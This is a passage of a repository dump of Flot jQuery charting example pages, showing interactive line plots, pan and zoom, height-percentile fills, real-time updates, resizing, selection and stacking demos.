33 |     }
34 | 
35 |     var plot = $.plot($("#placeholder"),
36 |            [ { data: sin, label: "sin(x)"}, { data: cos, label: "cos(x)" } ], {
37 |                series: {
38 |                    lines: { show: true },
39 |                    points: { show: true }
40 |                },
41 |                grid: { hoverable: true, clickable: true },
42 |                yaxis: { min: -1.2, max: 1.2 }
43 |              });
44 | 
45 |     function showTooltip(x, y, contents) {
46 |         $('<div id="tooltip">' + contents + '</div>').css( {
47 |             position: 'absolute',
48 |             display: 'none',
49 |             top: y + 5,
50 |             left: x + 5,
51 |             border: '1px solid #fdd',
52 |             padding: '2px',
53 |             'background-color': '#fee',
54 |             opacity: 0.80
55 |         }).appendTo("body").fadeIn(200);
56 |     }
57 | 
58 |     var previousPoint = null;
59 |     $("#placeholder").bind("plothover", function (event, pos, item) {
60 |         $("#x").text(pos.x.toFixed(2));
61 |         $("#y").text(pos.y.toFixed(2));
62 | 
63 |         if ($("#enableTooltip:checked").length > 0) {
64 |             if (item) {
65 |                 if (previousPoint != item.dataIndex) {
66 |                     previousPoint = item.dataIndex;
67 |                     
68 |                     $("#tooltip").remove();
69 |                     var x = item.datapoint[0].toFixed(2),
70 |                         y = item.datapoint[1].toFixed(2);
71 |                     
72 |                     showTooltip(item.pageX, item.pageY,
73 |                                 item.series.label + " of " + x + " = " + y);
74 |                 }
75 |             }
76 |             else {
77 |                 $("#tooltip").remove();
78 |                 previousPoint = null;            
79 |             }
80 |         }
81 |     });
82 | 
83 |     $("#placeholder").bind("plotclick", function (event, pos, item) {
84 |         if (item) {
85 |             $("#clickdata").text("You clicked point " + item.dataIndex + " in " + item.series.label + ".");
86 |             plot.highlight(item.series, item.datapoint);
87 |         }
88 |     });
89 | });
90 | </script>
91 | 
92 |  </body>
93 | </html>
94 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/layout.css:
--------------------------------------------------------------------------------
1 | body {
2 |   font-family: sans-serif;
3 |   font-size: 16px;
4 |   margin: 50px;
5 |   max-width: 800px;
6 | }
7 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/navigate.html:
--------------------------------------------------------------------------------
  1 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
  2 | <html>
  3 |  <head>
  4 |     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  5 |     <title>Flot Examples</title>
  6 |     <link href="layout.css" rel="stylesheet" type="text/css">
  7 |     <!--[if lte IE 8]><script language="javascript" type="text/javascript" src="../excanvas.min.js"></script><![endif]-->
  8 |     <script language="javascript" type="text/javascript" src="../jquery.js"></script>
  9 |     <script language="javascript" type="text/javascript" src="../jquery.flot.js"></script>
 10 |     <script language="javascript" type="text/javascript" src="../jquery.flot.navigate.js"></script>
 11 |     <style type="text/css">
 12 |     #placeholder .button {
 13 |         position: absolute;
 14 |         cursor: pointer;
 15 |     }
 16 |     #placeholder div.button {
 17 |         font-size: smaller;
 18 |         color: #999;
 19 |         background-color: #eee;
 20 |         padding: 2px;
 21 |     }
 22 |     .message {
 23 |         padding-left: 50px;
 24 |         font-size: smaller;
 25 |     }
 26 |     </style>
 27 |  </head>
 28 |  <body>
 29 |     <h1>Flot Examples</h1>
 30 | 
 31 |     <div id="placeholder" style="width:600px;height:300px;"></div>
 32 | 
 33 |     <p class="message"></p>
 34 | 
 35 |     <p>With the navigate plugin it is easy to add panning and zooming.
 36 |     Drag to pan, double click to zoom (or use the mouse scrollwheel).</p>
 37 | 
 38 |     <p>The plugin fires events (useful for synchronizing several
 39 |     plots) and adds a couple of public methods so you can easily build
 40 |     a little user interface around it, like the little buttons at the
 41 |     top right in the plot.</p>
 42 |     
 43 | 
 44 | <script type="text/javascript">
 45 | $(function () {
 46 |     // generate data set from a parametric function with a fractal
 47 |     // look
 48 |     function sumf(f, t, m) {
 49 |         var res = 0;
 50 |         for (var i = 1; i < m; ++i)
 51 |             res += f(i * i * t) / (i * i);
 52 |         return res;
 53 |     }
 54 |     
 55 |     var d1 = [];
 56 |     for (var t = 0; t <= 2 * Math.PI; t += 0.01)
 57 |         d1.push([sumf(Math.cos, t, 10), sumf(Math.sin, t, 10)]);
 58 |     var data = [ d1 ];
 59 | 
 60 |     
 61 |     var placeholder = $("#placeholder");
 62 |     var options = {
 63 |         series: { lines: { show: true }, shadowSize: 0 },
 64 |         xaxis: { zoomRange: [0.1, 10], panRange: [-10, 10] },
 65 |         yaxis: { zoomRange: [0.1, 10], panRange: [-10, 10] },
 66 |         zoom: {
 67 |             interactive: true
 68 |         },
 69 |         pan: {
 70 |             interactive: true
 71 |         }
 72 |     };
 73 | 
 74 |     var plot = $.plot(placeholder, data, options);
 75 | 
 76 |     // show pan/zoom messages to illustrate events 
 77 |     placeholder.bind('plotpan', function (event, plot) {
 78 |         var axes = plot.getAxes();
 79 |         $(".message").html("Panning to x: "  + axes.xaxis.min.toFixed(2)
 80 |                            + " &ndash; " + axes.xaxis.max.toFixed(2)
 81 |                            + " and y: " + axes.yaxis.min.toFixed(2)
 82 |                            + " &ndash; " + axes.yaxis.max.toFixed(2));
 83 |     });
 84 | 
 85 |     placeholder.bind('plotzoom', function (event, plot) {
 86 |         var axes = plot.getAxes();
 87 |         $(".message").html("Zooming to x: "  + axes.xaxis.min.toFixed(2)
 88 |                            + " &ndash; " + axes.xaxis.max.toFixed(2)
 89 |                            + " and y: " + axes.yaxis.min.toFixed(2)
 90 |                            + " &ndash; " + axes.yaxis.max.toFixed(2));
 91 |     });
 92 | 
 93 |     // add zoom out button 
 94 |     $('<div class="button" style="right:20px;top:20px">zoom out</div>').appendTo(placeholder).click(function (e) {
 95 |         e.preventDefault();
 96 |         plot.zoomOut();
 97 |     });
 98 | 
 99 |     // and add panning buttons
100 |     
101 |     // little helper for taking the repetitive work out of placing
102 |     // panning arrows
103 |     function addArrow(dir, right, top, offset) {
104 |         $('<img class="button" src="arrow-' + dir + '.gif" style="right:' + right + 'px;top:' + top + 'px">').appendTo(placeholder).click(function (e) {
105 |             e.preventDefault();
106 |             plot.pan(offset);
107 |         });
108 |     }
109 | 
110 |     addArrow('left', 55, 60, { left: -100 });
111 |     addArrow('right', 25, 60, { left: 100 });
112 |     addArrow('up', 40, 45, { top: -100 });
113 |     addArrow('down', 40, 75, { top: 100 });
114 | });
115 | </script>
116 | 
117 |  </body>
118 | </html>
119 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/percentiles.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
 2 | <html>
 3 |  <head>
 4 |     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
 5 |     <title>Flot Examples</title>
 6 |     <link href="layout.css" rel="stylesheet" type="text/css">
 7 |     <!--[if lte IE 8]><script language="javascript" type="text/javascript" src="../excanvas.min.js"></script><![endif]-->
 8 |     <script language="javascript" type="text/javascript" src="../jquery.js"></script>
 9 |     <script language="javascript" type="text/javascript" src="../jquery.flot.js"></script>
10 |     <script language="javascript" type="text/javascript" src="../jquery.flot.fillbetween.js"></script>
11 |  </head>
12 |     <body>
13 |     <h1>Flot Examples</h1>
14 | 
15 |     <div id="placeholder" style="width:600px;height:400px;"></div>
16 | 
17 |     <p>Height in centimeters of individuals from the US (2003-2006) as function of
18 |     age in years (source: <a href="http://www.cdc.gov/nchs/data/nhsr/nhsr010.pdf">CDC</a>).
19 |     The 15%-85%, 25%-75% and 50% percentiles are indicated.</p>
20 | 
21 |     <p>For each point of a filled curve, you can specify an arbitrary
22 |     bottom. As this example illustrates, this can be useful for
23 |     plotting percentiles. If you have the data sets available without
24 |     appropriate fill bottoms, you can use the fillbetween plugin to
25 |     compute the data point bottoms automatically.</p>
26 |     
27 | <script type="text/javascript">
28 | $(function () {
29 |     var males = {'15%': [[2, 88.0], [3, 93.3], [4, 102.0], [5, 108.5], [6, 115.7], [7, 115.6], [8, 124.6], [9, 130.3], [10, 134.3], [11, 141.4], [12, 146.5], [13, 151.7], [14, 159.9], [15, 165.4], [16, 167.8], [17, 168.7], [18, 169.5], [19, 168.0]], '90%': [[2, 96.8], [3, 105.2], [4, 113.9], [5, 120.8], [6, 127.0], [7, 133.1], [8, 139.1], [9, 143.9], [10, 151.3], [11, 161.1], [12, 164.8], [13, 173.5], [14, 179.0], [15, 182.0], [16, 186.9], [17, 185.2], [18, 186.3], [19, 186.6]], '25%': [[2, 89.2], [3, 94.9], [4, 104.4], [5, 111.4], [6, 117.5], [7, 120.2], [8, 127.1], [9, 132.9], [10, 136.8], [11, 144.4], [12, 149.5], [13, 154.1], [14, 163.1], [15, 169.2], [16, 170.4], [17, 171.2], [18, 172.4], [19, 170.8]], '10%': [[2, 86.9], [3, 92.6], [4, 99.9], [5, 107.0], [6, 114.0], [7, 113.5], [8, 123.6], [9, 129.2], [10, 133.0], [11, 140.6], [12, 145.2], [13, 149.7], [14, 158.4], [15, 163.5], [16, 166.9], [17, 167.5], [18, 167.1], [19, 165.3]], 'mean': [[2, 91.9], [3, 98.5], [4, 107.1], [5, 114.4], [6, 120.6], [7, 124.7], [8, 131.1], [9, 136.8], [10, 142.3], [11, 150.0], [12, 154.7], [13, 161.9], [14, 168.7], [15, 173.6], [16, 175.9], [17, 176.6], [18, 176.8], [19, 176.7]], '75%': [[2, 94.5], [3, 102.1], [4, 110.8], [5, 117.9], [6, 124.0], [7, 129.3], [8, 134.6], [9, 141.4], [10, 147.0], [11, 156.1], [12, 160.3], [13, 168.3], [14, 174.7], [15, 178.0], [16, 180.2], [17, 181.7], [18, 181.3], [19, 182.5]], '85%': [[2, 96.2], [3, 103.8], [4, 111.8], [5, 119.6], [6, 125.6], [7, 131.5], [8, 138.0], [9, 143.3], [10, 149.3], [11, 159.8], [12, 162.5], [13, 171.3], [14, 177.5], [15, 180.2], [16, 183.8], [17, 183.4], [18, 183.5], [19, 185.5]], '50%': [[2, 91.9], [3, 98.2], [4, 106.8], [5, 114.6], [6, 120.8], [7, 125.2], [8, 130.3], [9, 137.1], [10, 141.5], [11, 149.4], [12, 153.9], [13, 162.2], [14, 169.0], [15, 174.8], [16, 176.0], [17, 176.8], [18, 176.4], [19, 177.4]]};
30 |     var females = {'15%': [[2, 84.8], [3, 93.7], [4, 100.6], [5, 105.8], [6, 113.3], [7, 119.3], [8, 124.3], [9, 131.4], [10, 136.9], [11, 143.8], [12, 149.4], [13, 151.2], [14, 152.3], [15, 155.9], [16, 154.7], [17, 157.0], [18, 156.1], [19, 155.4]], '90%': [[2, 95.6], [3, 104.1], [4, 111.9], [5, 119.6], [6, 127.6], [7, 133.1], [8, 138.7], [9, 147.1], [10, 152.8], [11, 161.3], [12, 166.6], [13, 167.9], [14, 169.3], [15, 170.1], [16, 172.4], [17, 169.2], [18, 171.1], [19, 172.4]], '25%': [[2, 87.2], [3, 95.9], [4, 101.9], [5, 107.4], [6, 114.8], [7, 121.4], [8, 126.8], [9, 133.4], [10, 138.6], [11, 146.2], [12, 152.0], [13, 153.8], [14, 155.7], [15, 158.4], [16, 157.0], [17, 158.5], [18, 158.4], [19, 158.1]], '10%': [[2, 84.0], [3, 91.9], [4, 99.2], [5, 105.2], [6, 112.7], [7, 118.0], [8, 123.3], [9, 130.2], [10, 135.0], [11, 141.1], [12, 148.3], [13, 150.0], [14, 150.7], [15, 154.3], [16, 153.6], [17, 155.6], [18, 154.7], [19, 153.1]], 'mean': [[2, 90.2], [3, 98.3], [4, 105.2], [5, 112.2], [6, 119.0], [7, 125.8], [8, 131.3], [9, 138.6], [10, 144.2], [11, 151.3], [12, 156.7], [13, 158.6], [14, 160.5], [15, 162.1], [16, 162.9], [17, 162.2], [18, 163.0], [19, 163.1]], '75%': [[2, 93.2], [3, 101.5], [4, 107.9], [5, 116.6], [6, 122.8], [7, 129.3], [8, 135.2], [9, 143.7], [10, 148.7], [11, 156.9], [12, 160.8], [13, 163.0], [14, 165.0], [15, 165.8], [16, 168.7], [17, 166.2], [18, 167.6], [19, 168.0]], '85%': [[2, 94.5], [3, 102.8], [4, 110.4], [5, 119.0], [6, 125.7], [7, 131.5], [8, 137.9], [9, 146.0], [10, 151.3], [11, 159.9], [12, 164.0], [13, 166.5], [14, 167.5], [15, 168.5], [16, 171.5], [17, 168.0], [18, 169.8], [19, 170.3]], '50%': [[2, 90.2], [3, 98.1], [4, 105.2], [5, 111.7], [6, 118.2], [7, 125.6], [8, 130.5], [9, 138.3], [10, 143.7], [11, 151.4], [12, 156.7], [13, 157.7], [14, 161.0], [15, 162.0], [16, 162.8], [17, 162.2], [18, 162.8], [19, 163.3]]};
31 | 
32 |     var dataset = [
33 |        { label: 'Female mean', data: females['mean'], lines: { show: true }, color: "rgb(255,50,50)" },
34 |        { id: 'f15%', data: females['15%'], lines: { show: true, lineWidth: 0, fill: false }, color: "rgb(255,50,50)" },
35 |        { id: 'f25%', data: females['25%'], lines: { show: true, lineWidth: 0, fill: 0.2 }, color: "rgb(255,50,50)", fillBetween: 'f15%' },
36 |        { id: 'f50%', data: females['50%'], lines: { show: true, lineWidth: 0.5, fill: 0.4, shadowSize: 0 }, color: "rgb(255,50,50)", fillBetween: 'f25%' },
37 |        { id: 'f75%', data: females['75%'], lines: { show: true, lineWidth: 0, fill: 0.4 }, color: "rgb(255,50,50)", fillBetween: 'f50%' },
38 |        { id: 'f85%', data: females['85%'], lines: { show: true, lineWidth: 0, fill: 0.2 }, color: "rgb(255,50,50)", fillBetween: 'f75%' },
39 |        
40 |        { label: 'Male mean', data: males['mean'], lines: { show: true }, color: "rgb(50,50,255)" },
41 |        { id: 'm15%', data: males['15%'], lines: { show: true, lineWidth: 0, fill: false }, color: "rgb(50,50,255)" },
42 |        { id: 'm25%', data: males['25%'], lines: { show: true, lineWidth: 0, fill: 0.2 }, color: "rgb(50,50,255)", fillBetween: 'm15%' },
43 |        { id: 'm50%', data: males['50%'], lines: { show: true, lineWidth: 0.5, fill: 0.4, shadowSize: 0 }, color: "rgb(50,50,255)", fillBetween: 'm25%' },
44 |        { id: 'm75%', data: males['75%'], lines: { show: true, lineWidth: 0, fill: 0.4 }, color: "rgb(50,50,255)", fillBetween: 'm50%' },
45 |        { id: 'm85%', data: males['85%'], lines: { show: true, lineWidth: 0, fill: 0.2 }, color: "rgb(50,50,255)", fillBetween: 'm75%' }
46 |     ]
47 | 
48 |     $.plot($("#placeholder"), dataset, {
49 |             xaxis: { tickDecimals: 0 },
50 |             yaxis: { tickFormatter: function (v) { return v + " cm"; } },
51 |             legend: { position: 'se' }
52 |         });
53 | });
54 | </script>
55 | 
56 |  </body>
57 | </html>
58 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/realtime.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
 2 | <html>
 3 |  <head>
 4 |     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
 5 |     <title>Flot Examples</title>
 6 |     <link href="layout.css" rel="stylesheet" type="text/css">
 7 |     <!--[if lte IE 8]><script language="javascript" type="text/javascript" src="../excanvas.min.js"></script><![endif]-->
 8 |     <script language="javascript" type="text/javascript" src="../jquery.js"></script>
 9 |     <script language="javascript" type="text/javascript" src="../jquery.flot.js"></script>
10 |  </head>
11 |     <body>
12 |     <h1>Flot Examples</h1>
13 | 
14 |     <div id="placeholder" style="width:600px;height:300px;"></div>
15 | 
16 |     <p>You can update a chart periodically to get a real-time effect
17 |     by using a timer to insert the new data in the plot and redraw it.</p>
18 | 
19 |     <p>Time between updates: <input id="updateInterval" type="text" value="" style="text-align: right; width:5em"> milliseconds</p>
20 | 
21 | <script type="text/javascript">
22 | $(function () {
23 |     // we use an inline data source in the example, usually data would
24 |     // be fetched from a server
25 |     var data = [], totalPoints = 300;
26 |     function getRandomData() {
27 |         if (data.length > 0)
28 |             data = data.slice(1);
29 | 
30 |         // do a random walk
31 |         while (data.length < totalPoints) {
32 |             var prev = data.length > 0 ? data[data.length - 1] : 50;
33 |             var y = prev + Math.random() * 10 - 5;
34 |             if (y < 0)
35 |                 y = 0;
36 |             if (y > 100)
37 |                 y = 100;
38 |             data.push(y);
39 |         }
40 | 
41 |         // zip the generated y values with the x values
42 |         var res = [];
43 |         for (var i = 0; i < data.length; ++i)
44 |             res.push([i, data[i]])
45 |         return res;
46 |     }
47 | 
48 |     // setup control widget
49 |     var updateInterval = 30;
50 |     $("#updateInterval").val(updateInterval).change(function () {
51 |         var v = $(this).val();
52 |         if (v && !isNaN(+v)) {
53 |             updateInterval = +v;
54 |             if (updateInterval < 1)
55 |                 updateInterval = 1;
56 |             if (updateInterval > 2000)
57 |                 updateInterval = 2000;
58 |             $(this).val("" + updateInterval);
59 |         }
60 |     });
61 | 
62 |     // setup plot
63 |     var options = {
64 |         series: { shadowSize: 0 }, // drawing is faster without shadows
65 |         yaxis: { min: 0, max: 100 },
66 |         xaxis: { show: false }
67 |     };
68 |     var plot = $.plot($("#placeholder"), [ getRandomData() ], options);
69 | 
70 |     function update() {
71 |         plot.setData([ getRandomData() ]);
72 |         // since the axes don't change, we don't need to call plot.setupGrid()
73 |         plot.draw();
74 |         
75 |         setTimeout(update, updateInterval);
76 |     }
77 | 
78 |     update();
79 | });
80 | </script>
81 | 
82 |  </body>
83 | </html>
84 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/resize.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
 2 | <html>
 3 |  <head>
 4 |     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
 5 |     <title>Flot Examples</title>
 6 |     <link href="layout.css" rel="stylesheet" type="text/css">
 7 |     <!--[if lte IE 8]><script language="javascript" type="text/javascript" src="../excanvas.min.js"></script><![endif]-->
 8 |     <script language="javascript" type="text/javascript" src="../jquery.js"></script>
 9 |     <script language="javascript" type="text/javascript" src="../jquery.flot.js"></script>
10 |     <script language="javascript" type="text/javascript" src="../jquery.flot.resize.js"></script>
11 |     <style type="text/css">
12 |     html, body {
13 |         height: 100%; /* make the percentage height on placeholder work */
14 |     }
15 |     .message {
16 |         padding-left: 50px;
17 |         font-size: smaller;
18 |     }
19 |     </style>
20 |  </head>
21 |  <body>
22 |     <h1>Flot Examples</h1>
23 | 
24 |     <div id="placeholder" style="width:80%;height:40%;"></div>
25 | 
26 |     <p class="message"></p>
27 | 
28 |     <p>Sometimes it makes more sense to just let the plot take up the
29 |     available space. In that case, we need to redraw the plot each
30 |     time the placeholder changes its size. If you include the resize
31 |     plugin, this is handled automatically.</p>
32 | 
33 |     <p>Try resizing the window.</p>
34 | 
35 | 
36 | <script type="text/javascript">
37 | $(function () {
38 |     var d1 = [];
39 |     for (var i = 0; i < 14; i += 0.5)
40 |         d1.push([i, Math.sin(i)]);
41 | 
42 |     var d2 = [[0, 3], [4, 8], [8, 5], [9, 13]];
43 |     var d3 = [[0, 12], [7, 12], null, [7, 2.5], [12, 2.5]];
44 | 
45 |     var placeholder = $("#placeholder");
46 |     
47 |     var plot = $.plot(placeholder, [d1, d2, d3]);
48 |     
49 |     // the plugin includes a jQuery plugin for adding resize events to
50 |     // any element, let's just add a callback so we can display the
51 |     // placeholder size
52 |     placeholder.resize(function () {
53 |         $(".message").text("Placeholder is now "
54 |                            + $(this).width() + "x" + $(this).height()
55 |                            + " pixels");
56 |     });
57 | });
58 | </script>
59 | 
60 |  </body>
61 | </html>
62 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/selection.html:
--------------------------------------------------------------------------------
  1 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
  2 | <html>
  3 |  <head>
  4 |     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  5 |     <title>Flot Examples</title>
  6 |     <link href="layout.css" rel="stylesheet" type="text/css">
  7 |     <!--[if lte IE 8]><script language="javascript" type="text/javascript" src="../excanvas.min.js"></script><![endif]-->
  8 |     <script language="javascript" type="text/javascript" src="../jquery.js"></script>
  9 |     <script language="javascript" type="text/javascript" src="../jquery.flot.js"></script>
 10 |     <script language="javascript" type="text/javascript" src="../jquery.flot.selection.js"></script>
 11 |  </head>
 12 |     <body>
 13 |     <h1>Flot Examples</h1>
 14 | 
 15 |     <div id="placeholder" style="width:600px;height:300px"></div>
 16 | 
 17 |     <p>1000 kg. CO<sub>2</sub> emissions per year per capita for various countries (source: <a href="http://en.wikipedia.org/wiki/List_of_countries_by_carbon_dioxide_emissions_per_capita">Wikipedia</a>).</p>
 18 | 
 19 |     <p>Flot supports selections through the selection plugin.
 20 |        You can enable rectangular selection
 21 |        or one-dimensional selection if the user should only be able to
 22 |        select on one axis. Try left-click and drag on the plot above
 23 |        where selection on the x axis is enabled.</p>
 24 | 
 25 |     <p>You selected: <span id="selection"></span></p>
 26 | 
 27 |     <p>The plot command returns a plot object you can use to control
 28 |        the selection. Click the buttons below.</p>
 29 | 
 30 |     <p><input id="clearSelection" type="button" value="Clear selection" />
 31 |        <input id="setSelection" type="button" value="Select year 1994" /></p>
 32 | 
 33 |     <p>Selections are really useful for zooming. Just replot the
 34 |        chart with min and max values for the axes set to the values
 35 |        in the "plotselected" event triggered. Enable the checkbox
 36 |        below and select a region again.</p>
 37 | 
 38 |     <p><label><input id="zoom" type="checkbox" />Zoom to selection.</label></p>
 39 | 
 40 | <script type="text/javascript">
 41 | $(function () {
 42 |     var data = [
 43 |         {
 44 |             label: "United States",
 45 |             data: [[1990, 18.9], [1991, 18.7], [1992, 18.4], [1993, 19.3], [1994, 19.5], [1995, 19.3], [1996, 19.4], [1997, 20.2], [1998, 19.8], [1999, 19.9], [2000, 20.4], [2001, 20.1], [2002, 20.0], [2003, 19.8], [2004, 20.4]]
 46 |         },
 47 |         {
 48 |             label: "Russia", 
 49 |             data: [[1992, 13.4], [1993, 12.2], [1994, 10.6], [1995, 10.2], [1996, 10.1], [1997, 9.7], [1998, 9.5], [1999, 9.7], [2000, 9.9], [2001, 9.9], [2002, 9.9], [2003, 10.3], [2004, 10.5]]
 50 |         },
 51 |         {
 52 |             label: "United Kingdom",
 53 |             data: [[1990, 10.0], [1991, 11.3], [1992, 9.9], [1993, 9.6], [1994, 9.5], [1995, 9.5], [1996, 9.9], [1997, 9.3], [1998, 9.2], [1999, 9.2], [2000, 9.5], [2001, 9.6], [2002, 9.3], [2003, 9.4], [2004, 9.79]]
 54 |         },
 55 |         {
 56 |             label: "Germany",
 57 |             data: [[1990, 12.4], [1991, 11.2], [1992, 10.8], [1993, 10.5], [1994, 10.4], [1995, 10.2], [1996, 10.5], [1997, 10.2], [1998, 10.1], [1999, 9.6], [2000, 9.7], [2001, 10.0], [2002, 9.7], [2003, 9.8], [2004, 9.79]]
 58 |         },
 59 |         {
 60 |             label: "Denmark",
 61 |  	    data: [[1990, 9.7], [1991, 12.1], [1992, 10.3], [1993, 11.3], [1994, 11.7], [1995, 10.6], [1996, 12.8], [1997, 10.8], [1998, 10.3], [1999, 9.4], [2000, 8.7], [2001, 9.0], [2002, 8.9], [2003, 10.1], [2004, 9.80]]
 62 |         },
 63 |         {
 64 |             label: "Sweden",
 65 |             data: [[1990, 5.8], [1991, 6.0], [1992, 5.9], [1993, 5.5], [1994, 5.7], [1995, 5.3], [1996, 6.1], [1997, 5.4], [1998, 5.4], [1999, 5.1], [2000, 5.2], [2001, 5.4], [2002, 6.2], [2003, 5.9], [2004, 5.89]]
 66 |         },
 67 |         {
 68 |             label: "Norway",
 69 |             data: [[1990, 8.3], [1991, 8.3], [1992, 7.8], [1993, 8.3], [1994, 8.4], [1995, 5.9], [1996, 6.4], [1997, 6.7], [1998, 6.9], [1999, 7.6], [2000, 7.4], [2001, 8.1], [2002, 12.5], [2003, 9.9], [2004, 19.0]]
 70 |         }
 71 |     ];
 72 | 
 73 |     var options = {
 74 |         series: {
 75 |             lines: { show: true },
 76 |             points: { show: true }
 77 |         },
 78 |         legend: { noColumns: 2 },
 79 |         xaxis: { tickDecimals: 0 },
 80 |         yaxis: { min: 0 },
 81 |         selection: { mode: "x" }
 82 |     };
 83 | 
 84 |     var placeholder = $("#placeholder");
 85 | 
 86 |     placeholder.bind("plotselected", function (event, ranges) {
 87 |         $("#selection").text(ranges.xaxis.from.toFixed(1) + " to " + ranges.xaxis.to.toFixed(1));
 88 | 
 89 |         var zoom = $("#zoom").attr("checked");
 90 |         if (zoom)
 91 |             plot = $.plot(placeholder, data,
 92 |                           $.extend(true, {}, options, {
 93 |                               xaxis: { min: ranges.xaxis.from, max: ranges.xaxis.to }
 94 |                           }));
 95 |     });
 96 | 
 97 |     placeholder.bind("plotunselected", function (event) {
 98 |         $("#selection").text("");
 99 |     });
100 |     
101 |     var plot = $.plot(placeholder, data, options);
102 | 
103 |     $("#clearSelection").click(function () {
104 |         plot.clearSelection();
105 |     });
106 | 
107 |     $("#setSelection").click(function () {
108 |         plot.setSelection({ xaxis: { from: 1994, to: 1995 } });
109 |     });
110 | });
111 | </script>
112 | 
113 |  </body>
114 | </html>
115 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/setting-options.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
 2 | <html>
 3 |  <head>
 4 |     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
 5 |     <title>Flot Examples</title>
 6 |     <link href="layout.css" rel="stylesheet" type="text/css">
 7 |     <!--[if lte IE 8]><script language="javascript" type="text/javascript" src="../excanvas.min.js"></script><![endif]-->
 8 |     <script language="javascript" type="text/javascript" src="../jquery.js"></script>
 9 |     <script language="javascript" type="text/javascript" src="../jquery.flot.js"></script>
10 |  </head>
11 |     <body>
12 |     <h1>Flot Examples</h1>
13 | 
14 |     <div id="placeholder" style="width:600px;height:300px"></div>
15 | 
16 |     <p>There are plenty of options you can set to control the precise
17 |     looks of your plot. You can control the ticks on the axes, the
18 |     legend, the graph type, etc. The idea is that Flot goes to great
19 |     lengths to provide sensible defaults so that you don't have to
20 |     customize much for a good result.</p>
21 | 
22 | <script type="text/javascript">
23 | $(function () {
24 |     var d1 = [];
25 |     for (var i = 0; i < Math.PI * 2; i += 0.25)
26 |         d1.push([i, Math.sin(i)]);
27 |     
28 |     var d2 = [];
29 |     for (var i = 0; i < Math.PI * 2; i += 0.25)
30 |         d2.push([i, Math.cos(i)]);
31 | 
32 |     var d3 = [];
33 |     for (var i = 0; i < Math.PI * 2; i += 0.1)
34 |         d3.push([i, Math.tan(i)]);
35 |     
36 |     $.plot($("#placeholder"), [
37 |         { label: "sin(x)",  data: d1},
38 |         { label: "cos(x)",  data: d2},
39 |         { label: "tan(x)",  data: d3}
40 |     ], {
41 |         series: {
42 |             lines: { show: true },
43 |             points: { show: true }
44 |         },
45 |         xaxis: {
46 |             ticks: [0, [Math.PI/2, "\u03c0/2"], [Math.PI, "\u03c0"], [Math.PI * 3/2, "3\u03c0/2"], [Math.PI * 2, "2\u03c0"]]
47 |         },
48 |         yaxis: {
49 |             ticks: 10,
50 |             min: -2,
51 |             max: 2
52 |         },
53 |         grid: {
54 |             backgroundColor: { colors: ["#fff", "#eee"] }
55 |         }
56 |     });
57 | });
58 | </script>
59 | 
60 |  </body>
61 | </html>
62 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/stacking.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
 2 | <html>
 3 |  <head>
 4 |     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
 5 |     <title>Flot Examples</title>
 6 |     <link href="layout.css" rel="stylesheet" type="text/css">
 7 |     <!--[if lte IE 8]><script language="javascript" type="text/javascript" src="../excanvas.min.js"></script><![endif]-->
 8 |     <script language="javascript" type="text/javascript" src="../jquery.js"></script>
 9 |     <script language="javascript" type="text/javascript" src="../jquery.flot.js"></script>
10 |     <script language="javascript" type="text/javascript" src="../jquery.flot.stack.js"></script>
11 |  </head>
12 |     <body>
13 |     <h1>Flot Examples</h1>
14 | 
15 |     <div id="placeholder" style="width:600px;height:300px;"></div>
16 | 
17 |     <p>With the stack plugin, you can have Flot stack the
18 |     series. This is useful if you wish to display both a total and the
19 |     constituents it is made of. The only requirement is that you provide
20 |     the input sorted on x.</p>
21 | 
22 |     <p class="stackControls">
23 |     <input type="button" value="With stacking">
24 |     <input type="button" value="Without stacking">
25 |     </p>
26 | 
27 |     <p class="graphControls">
28 |     <input type="button" value="Bars">
29 |     <input type="button" value="Lines">
30 |     <input type="button" value="Lines with steps">
31 |     </p>
32 | 
33 | <script id="source">
34 | $(function () {
35 |     var d1 = [];
36 |     for (var i = 0; i <= 10; i += 1)
37 |         d1.push([i, parseInt(Math.random() * 30)]);
38 | 
39 |     var d2 = [];
40 |     for (var i = 0; i <= 10; i += 1)
41 |         d2.push([i, parseInt(Math.random() * 30)]);
42 | 
43 |     var d3 = [];
44 |     for (var i = 0; i <= 10; i += 1)
45 |         d3.push([i, parseInt(Math.random() * 30)]);
46 | 
47 |     var stack = 0, bars = true, lines = false, steps = false;
48 |     
49 |     function plotWithOptions() {
50 |         $.plot($("#placeholder"), [ d1, d2, d3 ], {
51 |             series: {
52 |                 stack: stack,
53 |                 lines: { show: lines, fill: true, steps: steps },
54 |                 bars: { show: bars, barWidth: 0.6 }
55 |             }
56 |         });
57 |     }
58 | 
59 |     plotWithOptions();
